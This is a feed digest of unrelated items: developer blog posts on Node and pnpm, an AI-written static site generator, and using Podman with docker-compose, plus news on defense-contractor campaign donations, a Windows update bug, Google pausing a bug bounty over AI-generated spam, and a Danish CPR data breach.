I’m not, to be clear, predicting Apple’s downfall; I’m not even changing my computer or phone. What is surprising to me, however, is that not only am I uninterested in the company’s home device, I can, for the first time, envision a future where I don’t buy Apple by default. Indeed, this already happened: even before this incident I had already purchased a new server, which will run Linux; I will never put a Mac in a rack again.

That’s fine for Apple, of course; that’s not what their computers were designed for. The question, however, is whether what they are designed for is the future I am barreling towards, one where agentic abstraction both renders traditional interfaces relics even as it makes computing everywhere more accessible than it has ever been, where the limit is not a developer building for scale but my own imagination building for myself.

Friendship ended with Deno, now Node is my best friend

Lobsters
dbushell.com
2026-10-05 06:01:55
Comments...
Original Article

No AI - Made by Human

It’s finally time I go crawling back to Node!

I’ve been using Node heavily this month on a SvelteKit client project. When did Node get so good‽ Deno has been my go-to runtime for so long I forgot how to Node. Now I’m back, I find all the ECMAScript † sugar is supported and the old annoying APIs have been replaced or modernised. Most importantly, I never have to see require() .

† Doesn’t seem like that Oracle trademark dispute will see a positive end :(

Package management

The official Node docs recommend piping an internet script straight to bash (we never learn) to install NVM to manage Node & NPM. My (ancient) experience with NVM and NPM hasn’t been stellar. I heard Fast Node Manager (FNM) was better to switch Node versions. Obviously I roll bleeding-edge but I have client projects that demand stability.

I opted for PNPM too to avoid getting immediately pwned. (The “M” in NPM stands for “malware.”) Some scripts I use have hard-coded binary names, so I added two aliases:

alias npm=pnpm
alias npx=pnpx

Maybe that’s a crime but so far it’s worked flawlessly.

PNPM also blocks post-install scripts. Does NPM still yolo those?

I added additional settings to pnpm-workspace.yaml to delay malware updates.

minimumReleaseAge: 1440
trustPolicy: no-downgrade

At first I tried setting the minimum release age to “one month” because it takes Microsoft at least that long to remove reported malware. This caused dependency issues where PNPM struggled to match suitable versions. I settled for “one day”; long enough to allow some other sucker to beta test the next Shai‑Hulud.

TypeScript

Node can now run TypeScript without throwing a tantrum like a baby if the stars don’t align. That said, one does not simply publish TypeScript packages to NPM.

error: [ERR_UNSUPPORTED_NODE_MODULES_TYPE_STRIPPING]:
Stripping types is currently unsupported for files under node_modules

Why? Just strip the types bro, I know you can! Let me sign a deal with the devil!

To discourage package authors from publishing packages written in TypeScript, Node.js refuses to handle TypeScript files inside folders under a node_modules path.

Node.js v26.10.0 documentation

This restriction is philosophical rather than technical. I get it though. TypeScript is a Microsoft product. Opening that floodgate would pollute the entire ecosystem. Nobody wants more Microsoft. I’d love to see light “native types” in ECMAScript. There are type annotation proposals . I suspect I’ll be retired before those bear fruit.

No TypeScript packages mean I need to find the latest churnware slop to bundle my stuff. Tsdown did the trick, with only two additional dotfiles. Not thrilled about that (every dotfile represents a mistake). I suppose I break even after deleting deno.json etc.

Speaking of Microsoft lock-in, because they wrecked GitHub I’m self-hosting my own Forgejo instance . NPM limitations mean my packages have lost “provenance”. I had to configure the PNPM trust policy to allow my own stuff. Fun times!

Migrating my website

My final test for Node was converting my static site generator from Deno. Not many Node versions ago this would have required a major refactor. Today with Node v26.10.0 I found surprisingly little work to do.

The only required changes were to replace Deno’s file system API with node:fs — which is vastly improved from what I remember (literally ~10 years ago). Aside from that, I had to replace Deno.serve with Hono’s node adapter (a wrapper around node:http ).

After this minimum-viable migration I was shocked to see 15% faster builds . My codebase still favours idiomatic Deno. I bet I’m leaving performance on the table by not using other built-in Node APIs. That’s something to explore later. The only further change I made was to replace Deno’s @std/path with node:path which is a straight import swap.

So if I were to TL;DR in the middle: Node got a glow-up, wow!

You’ve probably known this for a while. I kept using Deno out of habit and familiarity. And I haven’t exactly been enthused to write server-side JavaScript recently.

Deno’s decline

I’m burying this part because it’s flogging a dead horse. Ultimately, Deno failed when they allowed the Silicon Valley Circus to define “success”. Deno went from an innovative modern JavaScript runtime to a boring start-up with uncompelling products . Half the employees were laid off and what’s left are tweeting AI fantasies and vibe-coding Temu Cloudflare.

There is no reason to use the Deno runtime today. Deno Land Inc. stopped innovating that years ago. Node has slowly but surely caught up, even surpassing Deno in places.

What finally pushed me away was:

  • Broken ZSH integration for weeks
  • JSR’s aggressive “429 (Too Many Requests)”
  • Bug(s) that made Deno choke on concurrent HTTP requests

Basically stuff that made it borderline unusable on top of my other criticism. JSR support were very quick to delete my account on request. I don’t like leaving dead profiles around the internet. None of my packages are visible but old versions remain installable.

It was fun early on but now it’s time to say goodbye.

brew uninstall deno

A new, bespoke static site generator to replace Jekyll

Lobsters
nullprogram.com
2026-10-05 05:59:25
Comments...
Original Article

nullprogram.com/blog/2026/10/04/

My blog began as a blosxom (Perl) site running on a VPS. In 2011 I moved to the new GitHub Pages , with the site generated statically by Jekyll (Ruby) on a GitHub server. It was a no-brainer: easier, faster, and cheaper, better in every way. After 15 years of Jekyll, this week I replaced it with a new, custom-built static site generator , dubbed ssg , in “C with templates” C++20. The ~8KLoC source closely follows my personal coding style including templated arenas and slices , zero dependencies, and a libc-free core. It’s wicked fast, and a complete, cold generation of my blog takes 150ms on my MacBook. That is, it’s done before Ruby would even reach Jekyll’s entry point . It’s a been a great, real-world demonstration of the effectiveness of my coding philosophy.

Look around and you’ll find almost nothing visually changed. Outside of syntax highlighting, the HTML is semantically identical. I did not try to match Rouge’s syntax highlighting, just its CSS selectors so that I could use my style sheet unmodified. With that in my own hands, I now get syntax highlighting that better suits my needs, some Rouge bugs gone and support for new languages, particularly assembly ( WAT , AT&T , Aarch64 ) and QBasic .

Because ssg only supports my site, and its source lives along side it, I don’t need a template system, i.e. Liquid. I can modify the C++ source as needed. So the upgrade was three steps: (1) fix 19 years of accumulated site bugs that Jekyll quietly tolerated, (2) add the new generator, (3) delete Liquid templates and pre-generated tag pages (now dynamically generated, with preservation of original feed UUIDs). Jekyll and ssg both work simultaneously at step #2, allowing side-by-side comparisons from the same site source. This is where most of the time was spent. Dropping templates means performance comparisons with Jekyll are unfair, as Jekyll is solving a different problem. (But I think it’s fair to speculate that ssg with Liquid templates would still smoke Jekyll!)

Historically, Jekyll was a dreadfully slow site generator until the 4.0.0 release in August 2019 . While performance is mostly resolved, I still have ingrained habits to work around it. The final Jekyll version of my site took ~2 seconds on the same MacBook. Not too bad, and it has a fast --incremental mode, though it’s always been a little buggy, not quite matching a full generation.

No, the pain point for Jekyll is not performance but deployment . Especially when trying to match the GitHub Pages configuration. The Ruby deployment situation remains just awful. I never once generated my blog on Windows, in part to avoid jumping through hoops to set up Jekyll. Last year I switched to macOS (from Linux) as my primary, personal development environment. This meant setting up Jekyll on macOS, and the situation is farcical . The Ruby community ought to feel embarrassed about this. The source lines delay shell startup by 60ms, and I’m unwilling to bear that cost in nearly every shell just to occasionally run Jekyll, plus environment litter that may interfere with other tools. So I needed to remember to enter an isolated Jekyll environment, and to tell AIs to use if they needed Jekyll.

With ssg you just need a C++ compiler. As native application, you don’t need any development tools once it’s built of course, and the compiled program is a single file that could be copied to another system and run as-is. It’s a unity build — I did say it closely follows my personal style — so you don’t even need a build system. On w64devkit that looks like:

$ cc -nostartfiles -o _ssg/ssg.exe _ssg/main_windows.cpp

cc (or gcc ) works because the compiler driver knows to invoke the C++ front-end for this input. It doesn’t use the C++ standard library, so the linker doesn’t need -lstdc++ . -O0 builds like this run at about half speed compared to optimized builds, and -O1 is sufficient to get all the compiler optimization benefits. Normally debug builds would be around 10x slower, but fast debug builds is par for the course for my style. While you don’t need it, there is a CMake build, but that’s really just for driving the test suite.

Both build and tool work on Windows XP, too, so for the first time ever I could fully compose a post on my old XP laptop if I wished.

On the MacBook this -O0 build takes ~150ms — quite good for 8,372 lines of code. A cold site generation takes this build ~260ms. That’s so fast I could very well re-compile the generator each time I regenerate the site. Indeed that’s exactly how it works in the GitHub Actions pipeline. Overall it’s faster to use a debug build than a release build. The cache is too slow and unreliable for release builds to make sense in Actions.

$ cc -std=c++20 -o _ssg/ssg _ssg/main_posix.cpp  # macOS

For the first decade of GitHub Pages, Jekyll was the only option. It ran opaquely in the somewhere at GitHub with a pass/fail result, requiring a local matching configuration for debugging. When they introduced GitHub Actions in 2018, Jekyll was a pre-configured, transparent pipeline, and it became possible to run whatever generator you wanted in its place. I’m finally taking advantage of that, and I still get automatic page builds on push like I had with Jekyll. It’s now slightly faster — Actions overhead dominates either way — despite compiling an entire C++ program each run.

I do not plan to divorce my generator from my blog, so ssg will not become a general-purpose static site generator. Its whole purpose is to serve this one particular need. You’re free to fork it and use it as a basis for your own needs, of course. This sort of bespoke, written-to-order software is likely the future of software. Why bother with one-site-fits-all when an exactly-sized solution has the same cost?

A first for generative AI

I’ve been thinking about this project for years. Had I written it in the 2023–2025 time frame, I estimate ~2–4 weeks, using u-config (3KLoC, lower complexity) as a measuring stick. Here in 2026 , it took about ~20 minutes to write my detailed prompt, then ~2 hours for Opus 5.5 in Claude Desktop to produce ssg in essentially its current form, bug-free as far as I can tell, including an untested Win32 platform layer (written on the MacBook, no Wine). I’ve spent more time on this article than I did on the new generator.

I spent a couple more hours looking it over, shocked at Opus 5.5 perfectly matching my personal style. It really does look like I wrote ssg. Reading it is uncanny, like seeing someone reproduce my own handwriting such that I couldn’t distinguish it. During this review I realized we ought to use debug builds in the pipeline, so we had one follow-up on the hot spot in debug builds . Then I noticed the Win32 platform layer generated an empty site on Windows XP, another small followup . (XP wasn’t in my original prompt, so I don’t count this as a bug.) That was it.

Two years ago I said that AI-generated code was too poor to be practical. That changed by the end of 2025. In earlier 2026 projects I tried to get AI to write C following my style, using my writing on the subject as a guide, but they’d just recreate the no-good standard library from scratch then flub arena allocation. Ask those models to write conventional C and you get the usual, error-prone C you’ll find anywhere. So I settled on conventional C++ as Good Enough. I could complete projects ~20x faster, but with results not quite as good as I’d have done myself. A reasonable trade-off.

Opus 5.5 released on September 22nd. It is the first model I’ve used that actually understands my coding philosophy and writes C at least as well as me . This was the ideal project for this test, as my core writing on this subject was naturally in context, but it generalizes when referencing my writing and prior work. As of two weeks ago I can now have my cake and eat it, too. No more trade-offs.

If you’d like to get similar C-with-templates results on your own project, cite these four articles in your prompt:

As well as perhaps my relevant, similar projects. All the frontier models know about me personally and are familiar with my work, so invoking my name may be enough. If the model is as good as Opus 5.5, you might get an accurate impression of how I would have done your project.

Using docker-compose with Podman rootless

Lobsters
elou.world
2026-10-05 05:51:28
Comments...
Original Article

Podman is a daemonless Docker alternative for Linux that can run without root access. However, it is less well known that Podman can expose a UNIX-domain socket compatible with the Docker API. This makes it work with most tools in the Docker ecosystem, such as docker-compose.

Podman uses a Linux feature called user namespaces. With this, the root user inside a container is mapped to your host user. Other UIDs and GIDs are mapped to the ranges defined in /etc/subuid and /etc/subgid , respectively.

This tutorial assumes that Podman and docker-compose are already installed, for example using your Linux distribution’s package manager.

Enable and start the Podman socket

To enable and start the Podman socket, run this command (as your user, not as root):

1
systemctl --user enable --now podman.socket

This command creates a UNIX-domain socket at ${XDG_RUNTIME_DIR}/podman/podman.sock . ${XDG_RUNTIME_DIR} is a private tmpfs automatically mounted for each user.

Note: The command requires a systemd session. If you are trying to run this command as another user, be aware that using sudo is not supported, because it doesn’t create a systemd session. You can use machinectl shell --uid=your-username (part of the systemd-container package on some Linux distributions) if you are part of the wheel group. Alternatively, log in as your user on a TTY or via SSH.

Expose it as the Docker host

Tools like docker-compose read the DOCKER_HOST environment variable. Set it to point to the Podman socket like this:

1
export DOCKER_HOST="unix://${XDG_RUNTIME_DIR}/podman/podman.sock"

Add this line to your shell configuration (e.g. ~/.zshrc for Zsh) to make it permanent.

Use docker-compose

You can now run docker-compose as usual:

1
2
3
4
docker-compose config
docker-compose up -d
docker-compose ps
docker-compose down --volumes

Depending on your Linux distribution, docker-compose may be available as docker compose instead of docker-compose , but it works the same way. You can add an alias in your shell:

1
alias docker-compose='docker compose'

Tips and tricks

Stop and disable rootful Docker

If you have Docker installed but are not ready to uninstall it, you can stop and disable its systemd service by running (as root):

1
2
systemctl disable --now docker.service docker.socket
rm -f /var/run/docker.sock

Note: These commands do not erase Docker data.

If you change your mind, run this to start it again (as root):

1
systemctl enable --now docker.service

Using docker

The podman command accepts the same arguments as docker , but you can also keep using the docker command if you prefer: it can read the DOCKER_HOST variable and talk to the Podman socket, just like docker-compose.

If you want to become root without starting a container, you can use the podman unshare command, which starts a new shell as root (in a user namespace, not real host root), much like sudo -i . You will then be able to manipulate files owned by container users (for example with chown or chmod ).

podman mount

You can access the files of a running container with podman mount .

First, run podman unshare , then change directory to the path returned by podman mount container-name-or-id :

1
2
podman unshare
cd "$(podman mount container-name-or-id)"

You will then be able to run your usual TUI editor to edit files in the container.

Docker rootless

If you are not ready to switch to Podman, Docker also supports a rootless installation. See their documentation .

Once it is set up and started, you also need to set the DOCKER_HOST environment variable:

1
export DOCKER_HOST="unix://${XDG_RUNTIME_DIR}/docker.sock"

Unfortunately, rootless Docker has no equivalent of podman unshare and podman mount , although you can achieve similar things with unshare and nsenter .

User lingering

By default, Podman containers are stopped when the last systemd session of your user is closed.

To keep them running after you log out, enable user lingering for your user (as root):

1
loginctl enable-linger your-username

Copyright © 2026, Elouan Martinet (Exagone313) — This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License .

Susan Collins’s Committee Bought Trucks the Army Didn’t Want. Then Campaign Donations Poured In.

Intercept
theintercept.com
2026-10-05 05:48:00
Appropriations committee members saw an influx of campaign contributions after steering $345 million to a military contractor. The post Susan Collins’s Committee Bought Trucks the Army Didn’t Want. Then Campaign Donations Poured In. appeared first on The Intercept....
Original Article

The U.S. Army announced last year that it had enough of a specific model of armored vehicle and that any more deliveries would be “excess.” But even so, Congress found a way to keep funding alive for the vehicle — and executives at the company that produces the vehicle found a way to flood key members of Congress with campaign donations.

In the weeks after this year’s appropriations bill passed, employees of AM General or its parent company donated tens of thousands to key appropriations committee members in both chambers, Sen. Susan Collins, R-Maine, and Rep. Ken Calvert, R-Calif.

Collins is separately facing scrutiny over a report from ProPublica that the FBI investigated an alleged pay-to-play scheme involving a major donor, an ex-defense contractor. Collins’ office denied that there was any kind of pay-to-play arrangement and said she fully cooperated with the FBI. There is no indication that AM General’s donations were part of such a scheme, but the giving nonetheless demonstrates how Collins’s campaign account has grown with help from employees at defense contractors doing business with the government.

Before the Army put the future of the vehicle in jeopardy, Collins was not a frequent beneficiary of contributions from the company’s workers. She last received campaign funds from AM General or its parent company’s employees more than a decade ago. But after the Army’s “excess” announcement last year, employees and the company’s PAC donated over $58,000 to committees associated with Collins.

One observer of money in politics said that appropriators receiving money from government contractors is a long-standing problem.

“Government contractors today routinely try to leverage a broken campaign finance system to their advantage.”

“Members of the appropriations committees in Congress are extremely powerful. These lawmakers can steer huge sums of money to private companies. Government contractors today routinely try to leverage a broken campaign finance system to their advantage,” said Michael Beckel, money in politics reform director at Issue One.

The revival of the Army’s order was supported by lawmakers in both parties, including the top Democrat on the House Appropriations defense subcommittee, Rep. Betty McCollum, D-Minn. Collins’s office said that in the Senate, decisions on the program were made not by her but by defense subcommittee chair Sen. Mitch McConnell, R-Ky., and vice chair Sen. Chris Coons, D-Del. McConnell did not receive donations from employees at AM General or its parent company this election cycle. Coons received $2,500 from its employee PAC.

“Sen. Collins was not involved in this decision. The final decision was made by the Chairs and Ranking Members of the House and Senate Defense Appropriations Subcommittees,” said a Collins spokesperson, Phoebe Keller.

AM General’s CEO, John Chadbourne, said in an email that the company does not comment on campaign donations, “all of which fully comply with FEC rules and regulations.”

He added, “AM General’s focus is on the Warfighter and providing the best light tactical vehicle capabilities to the Joint Forces.”

Congress Steps In

AM General is most famous for producing the Humvee, the iconic military vehicle that trawled the streets of Baghdad during the Iraq War. In 2023, the Army selected the company to produce 20,000 units of a more heavily armored successor known as the Joint Light Tactical Vehicle. The company was ramping up its production line in Indiana when then-Army Secretary Dan Driscoll announced in May 2025 that he would cancel its order, saying the additional deliveries would result in an “excess.”

Driscoll’s announcement was part of a larger effort to “eliminate waste and obsolete programs.”

“Yesterday’s weapons will not win tomorrow’s wars,” he said.

The military does not always have the last say on its contracts, however.

Congress has for decades swooped in to save pricey programs with political appeal. Soon after the Army moved to kill the vehicle contract, Congress mobilized to save it.

AM General had backing from members of Congress in Indiana, thanks to the jobs on its production line there. It also found backing from legislators in states far from its home.

The House moved first: In June 2025, the House Appropriations Committee’s subcommittee on defense proposed spending hundreds of millions on the vehicle for the Army. By the time the final version of the defense spending bill passed this February, the Army had been provided with $345 million for procurement of a vehicle it said it did not need.

A joint statement from the House and Senate, which Collins’ office said was produced by the defense subcommittees, sounded a skeptical note about the Army’s decision to cancel further orders of the vehicle. The statement said that the Army had provided “inadequate supporting analysis.” One concern was that without the efficiencies from a larger order that included the Army, the cost-per-unit price of vehicles that the Marines still wanted would rise.

McCollum, the House Democrat with an influential role in the process, said in a statement that she was one of numerous members of Congress to question the Army’s decision.

“Appropriators felt the Army failed to do adequate due diligence to justify their rash budget decision to cut the JLTV program and explain the full impacts on the Army, and especially the Marine Corps, which had not been consulted,” she said.

By the time the final version of the defense spending bill passed this February, the Army had been provided with $345 million for procurement of a vehicle it said it did not need.

Collins’s campaign committees had received some money after the Army announced that it wanted to cancel the project.

In the weeks after Congress passed the appropriations bill on February 3, Collins and one of her counterparts in the House, Rep. Ken Calvert, both received a burst of donations from AM General employees and the company’s political action committee.

After the appropriations bill went through, donors associated with AM General gave a total of $50,000 to Collins’s fundraising committees.

The donors included Chadbourne, the company’s CEO, and two of KPS Capital’s managing partners. (Private equity firm KPS Capital Partners acquired AM General in 2020.) All gave money to a committee raising money on Collins’s behalf at the end of February or start of March.

Calvert, the California representative with the defense appropriations post, has also benefited from similar donations. Both AM General employees and KPS Capital employees have given $14,285 in direct contributions to Calvert for Congress this election cycle.

The AM General employee PAC has given a combined $20,000 to Ken Calvert for Congress and Eureka Political Action Committee, Calvert’s leadership PAC.

Most of the donations to Calvert associated with AM General came in the weeks immediately after Congress passed the appropriations bill. His office did not respond to a request for comment.

Those contributions put Collins and Calvert in the same league as the Hoosier politicians who were natural supporters of AM General. A fundraising committee associated with Republican Sen. Todd Young received $36,000 from AM General or KPS Capital employees. The AM General employee PAC donated another $10,000 to his main campaign committee. A Marine Corps veteran, Young has been a vocal proponent of the Joint Light Tactical Vehicle.

His Republican colleague Sen. Jim Banks’s leadership PAC received $14,375 total from AM General’s employee PAC and Chadbourne , the executive. Meanwhile, Rep. Frank Mrvan, a Democrat representing northwest Indiana, received $33,050 from AM General or KPS Capital employees, and another $10,000 from the AM General employee PAC, according to FEC filings.

A Ban That Isn’t

On her campaign website, Collins notes that she serves as chair of the “powerful” appropriations committee.

“This committee decides how federal dollars are spent each year, from national defense and infrastructure to medical research, education, and public safety. Susan’s position gives Maine an outsized voice at the table when critical decisions are made which allows her to deliver serious results for Maine,” her website states .

Collins’s office said that in the case of the AM General vehicle, she had nothing to do with the funding decision. A spokesperson said the decision-making in the Senate was up to McConnell, the defense subcommittee chair, and its vice chair Sen. Chris Coons, D-Del.

McConnell announced his pending retirement in February 2025. His campaign committee and leadership committee have not received donations from either KPS Capital or AM General employees this election cycle, FEC records show. His office did not immediately respond to a request for comment.

Coons’s campaign committee received a $2,500 donation from the AM General employee PAC on March 5, according to FEC records. His office did not immediately respond to a request for comment.

McCollum’s leadership PAC received $5,000 from the company’s employee PAC last October, according to FEC records .

Government contractors have been banned from donating directly to candidates for decades. In practice, however, that ban does nothing to prevent company PACs or individual employees from giving to campaigns — even if they serve as company executives.

The contributions associated with AM General represent a sliver of the $15.8 million Collins had raised this election cycle through July, according to data compiled by the watchdog group OpenSecrets. Yet every dollar could help her in what is expected to be a tough fight with Troy Jackson, the Democratic Senate candidate with a slight lead on her in recent polls, in November.

The contributions also illustrated a trend among the top contributors to her campaign. Many of them are from people affiliated with government contractors, according to OpenSecrets. Two defense contractors, General Dynamics and RTX, are also on the list of her top organizational contributors.

AM General’s owner, KPS Capital Partners, is the sixth-largest organizational donor to Collins’s campaign committee and leadership PAC, according to the group’s data.

Although AM General has cultivated connections in Congress, members appear to be growing increasingly skeptical of the JLTV vehicle program. In June, House appropriators signaled that they wanted to find a new contractor for the vehicle, citing production delays. AM General was 2,000 vehicles behind on orders from the Marines, the defense subcommittee said.

Chadbourne, the company’s CEO, issued a statement in June defending its performance and blaming a previous contractor for delays.

“Healthy competition, transparency, and accountability strengthen America’s defense industrial base,” he said. “AM General remains fully committed to continue earning the trust placed in us by the Army, the Marine Corps, Congress, and the American taxpayer through performance, quality, and disciplined execution.”

Microsoft: Windows KB5124010 update crashes some games and apps

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 05:37:56
Microsoft confirmed over the weekend that some games and applications using AC-3 (Dolby Digital) audio decoding will crash after installing the September 2026 KB5124010 Windows 11 preview update. [...]...
Original Article

Windows 11

Microsoft confirmed over the weekend that some games and applications using AC-3 (Dolby Digital) audio decoding will crash after installing the September 2026 KB5124010 Windows 11 preview update.

KB5124010 is an optional update that requires users to click the "Download and install" link, which should reduce the number of potentially affected Windows users. However, it installs automatically on devices running Windows 11 24H2, where the "Get the latest updates as soon as they're available" option is toggled on.

"In some cases the application can fail to launch, or close without warning. In other cases the application will work normally until certain features are used, such as playing music," Microsoft said in a Friday update to the Windows release health dashboard. "Affected applications may vary and can include games, media players, and certain productivity applications."

However, the company added that many modern apps don't use Windows for this type of encoding and aren't affected. Additionally, the code component that triggers these crashes is most commonly used in legacy applications that still use the Windows built-in audio decoding, while modern apps that use the legacy AC-3 codec often include their own audio decoding components.

Although it didn't provide an estimated timeline for a fix, Microsoft is working to resolve this issue and said it will share more information in a future update.

Last month, Microsoft released emergency updates to fix another known issue causing USB audio issues , as well as Remote Desktop Services failures and Hyper-V problems after installing the KB5124008 and KB5124012 September 2026 security updates.

Last year, the company addressed a similar issue in January that triggered audio playback issues and Code 10 errors on Windows 11 24H2 systems with USB audio device drivers, and lifted a safeguard hold that prevented upgrades and caused Bluetooth headsets and speakers to malfunction on systems with Dirac audio improvement software.

Two years ago, it also confirmed an issue that caused game audio to unexpectedly increase to full volume when using USB DAC sound systems and blocked Windows 24H2 upgrades on systems with incompatible Intel Smart Sound Technology (SST) audio drivers because of blue screen of death (BSOD) issues.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Flirt is now Open-Source

Lobsters
blog.buenzli.dev
2026-10-05 05:34:42
Comments...
Original Article

I'm happy to announce that Flirt is finally open-source: codeberg.org/flirt/flirt

Warning: I don't yet consider it ready for general use. There are still plenty of bugs and missing features. If you're not considering to become a contributor, I recommend being a little more patient. I'll probably write another blog post when Flirt is ready for you.

Potential contributor or not, consider joining the discussion on Zulip . Please note that using LLMs to write messages is not allowed.

Since Flirt is hosted on Codeberg, a hypothetical Forgejo-backend would be used to dog-food Flirt. This doesn't exist yet! Creating it next-up on my todo list.

2026 Nobel Prize in Physiology or Medicine: Deisseroth, Hegemann, Nagel

Hacker News
www.nobelprize.org
2026-10-05 05:33:13
Comments...
Original Article
Karl Deisseroth

Ill. Niklas Elmehed © Nobel Prize Outreach

Prize share: 1/3

Peter Hegemann

Ill. Niklas Elmehed © Nobel Prize Outreach

Prize share: 1/3

Georg Nagel

Ill. Niklas Elmehed © Nobel Prize Outreach

Prize share: 1/3

The Nobel Prize in Physiology or Medicine 2026 was awarded jointly to Karl Deisseroth, Peter Hegemann and Georg Nagel "for their discoveries concerning light-gated ion channels and optogenetics."

Don't miss the Nobel Prize announcements on 5–12 October. All announcements are streamed live here on nobelprize.org.

Watch the 2026 Nobel Prize announcements live

Tufte's Razor: an interactive guide to the data-ink ratio

Lobsters
tuftesrazor.scienceux.org
2026-10-05 05:08:15
Comments...

Google halts open-source bug bounty program amid AI spam surge

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 04:27:46
Google has now suspended submissions to its Open Source Software Vulnerability Rewards Program (OSS VRP) after being flooded by AI-generated reports. [...]...
Original Article

Google

Google has now suspended submissions to its Open Source Software Vulnerability Rewards Program (OSS VRP) after being flooded by AI-generated reports.

The company's OSS VRP incentivizes security researchers to responsibly disclose security flaws across open-source projects maintained by Google, including Golang, Angular, Bazel, Protocol Buffers, Fuchsia, and critical third-party dependencies, as well as repository settings like GitHub actions, application configurations, and access control rules.

Google launched the OSS VRP in August 2022 with rewards ranging from $100 to $31,337, and noted that the program would focus on security flaws with the most significant impact on the software supply chain.

"We are temporarily no longer accepting OSS VRP product vulnerability submissions. This does not impact OSS VRP supply chain reports, or any outstanding reports," the company said . "Why is this happening? This pause is due to a significant rise in automated submissions, the vast majority of which are not valid."

However, researchers can still submit security patches for open-source software through the Google Patch Rewards Program (which offers bounties of up to $15,000 for high-impact fixes) and report vulnerabilities in Google Cloud open-source repositories that affect Cloud products through the company's Cloud VRP.

Google added that it's now working on readjusting the OSS VRP to address the automated submission issues, with more information on what will change to be provided next year.

"We will continue to reformat and work on this aspect of the OSS VRP and commit to giving an update in Q1 2027," Google added in an update on the Bug Hunters website. "In the meantime, we encourage you to find impact across our other VRP programs and submit there instead, or pursue the Patch Rewards Program. This change does not affect product vulnerabilities submitted before October 1, 2026."

Google OSS VRP freeze

Since launching its first VRP in 2010 , Google has rewarded thousands of security researchers with over $81.6 million. In 2025, it awarded a record-breaking $17.1 million to more than 700 security researchers, a 40% increase from 2024, when it awarded $12 million in total.

Google isn't the first to shut down a bug bounty program in the last year because of an ongoing onslaught of poor-quality AI-generated reports.

In January, the maintainer of the curl command-line utility and library ended the project's HackerOne security bug bounty program after being overwhelmed by a massive stream of AI slop vulnerability reports.

More recently, in mid-September, Intel also removed all financial rewards for security flaws in its software, firmware, hardware, and services reported on its Intigriti bug bounty program. However, Intel has yet to explain this decision.

While it has yet to take a similar move, Microsoft also warned in May that AI tools now help surface far more vulnerabilities, which will lead to the "pace and breadth of vulnerability discovery [..] increasing across the software industry" and "can raise operational demands."

Last month, Microsoft released patches for a record-breaking 966 flaws , including two actively exploited zero-day vulnerabilities.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Denmark Data Breach Exposes 8.8M People's Personal Data

Hacker News
www.cpr.dk
2026-10-05 04:09:36
Comments...
Original Article

Det Centrale Personregister (CPR) har konstateret en alvorlig sikkerhedshændelse. Ved at misbruge en dansk virksomheds lovlige adgang til at søge oplysninger i CPR-systemet, har uvedkommende skaffet sig adgang til navne, adresser, CPR-numre mv. på ca. 8,8 millioner registrerede borgere i CPR-systemet.

Den foretagne gennemgang viser, at den uautoriserede adgang ikke omfatter navne og adresser på personer, som har valgt at lade sig registrere med navne- og adressebeskyttelse.

CPR-administrationen har stoppet virksomhedens adgang og er sammen med specialister og myndigheder i gang med at kortlægge hændelsesforløbet. CPR-administrationen har foretaget anmeldelse til Datatilsynet, og sagen efterforskes af politiet i samarbejde med relevante myndigheder.

Det er muligt at læse mere om denne sikkerhedshændelse på Forsknings-, Uddannelses- og Digitaliseringsministeriets hjemmeside: https://ufm.dk/aktuelt/pressemeddelelser/2026/oktober/omfattende-uautoriseret-adgang-til-borgeres-cpr-oplysninger/

Becoming a photographer

Lobsters
stanko.io
2026-10-05 04:00:45
Comments...
Original Article

Last week the topic on everyone's mind seemed to be the future of programming. All my friends were talking about it, people I follow were talking about it, and I was thinking about it as well. Then David's (DHH's) Rails World keynote turbocharged the conversation.

His talk didn't come as a surprise to me. I was a week into rewriting HEY in Rust during Rails World. And "Pencils down" only codified how we'd been working for months at that point.

David is right. Like it or not, we programmers, like painters before us, are slowly going to disappear. AI, like the camera, completely changed the game. You can sulk about it, or you can pick up a camera, start learning, and become a photographer.

My favorite photo this year, taken one evening in the Soča Valley
My favorite photo this year, taken one evening in the Soča Valley

The perfect blend

I was skeptical of AI and vibe coding. My initial dabbling with it didn't turn out that well . The agents needed a lot of hand-holding to produce a decent result. But the models improved at an incredible pace, and I got better at employing them, learned their limitations, and learned how to express what I wanted.

For me, the first real test for this new way of working was HEY CLI .

Rob and I built it - the CLI, TUI , and the supporting API, SDK , and ActionCable client - over the span of a week while he was traveling, and while I was shipping and polishing a major pricing change for Basecamp. It's completely vibe-coded. No human has seen any of the machinations in the code beyond the initial project setup - and it worked out!

Something clicked for me on that project. I suddenly realized that my only limit now was my imagination.

Jason joined us late in the week to turn our programmer art into something delightful. He did wonders in just a day - in a completely foreign medium (ASCII art), in a programming language he doesn't know, in a codebase no human has ever read.

That got me thinking: "Maybe I could design the calendar?"

I had a vision for what the finished calendar TUI could look like, so I gave it a go.

Designing the calendar was challenging. There were dead ends and abandoned ideas, but I got it done, I'm very happy with it, and I leveled up as a designer.

My programming skills helped me along the way. I caught things that wouldn't work and guided the agents towards better solutions. I didn't need to write the code myself, but knowing how software works still made me better at getting the result I wanted. And the same was true for design. The more I learned about typography, layout, and terminal interfaces, the more things I could imagine trying.

AI removed the speed limit, but it didn't remove the limits of my imagination. The more you know, the more you can imagine.

Walls between previously strictly defined roles have broken down: programmer, ops, designer, QA, mobile, web. This doesn't mean expertise is useless. Quite the opposite. A lot of what I learned over the years carries over and helps me see possibilities, problems, and tradeoffs I otherwise wouldn't. Merlin Rebovic gave a great talk about that .

But knowing a bit of everything gets you much further today than being excellent at one or two things. Every new skill gives you another way of thinking, another set of things you know to look for, and, most importantly, more things you can imagine. The future needs a more even blend of skills.

Eventual excellence

What if I told you that the photo above is the third shot out of five? Would that take away from the photo? Is it somehow tarnished by not being perfect on the first try? By the two photos before and after it?

Of course it isn't. Nobody looks at a photograph and asks: "Yes, but how many bad exposures did you take?"

Misfires, variations, and riffing are part of the process. It takes taste to pick out the best one and to polish it up.

It's the same when working with agents.

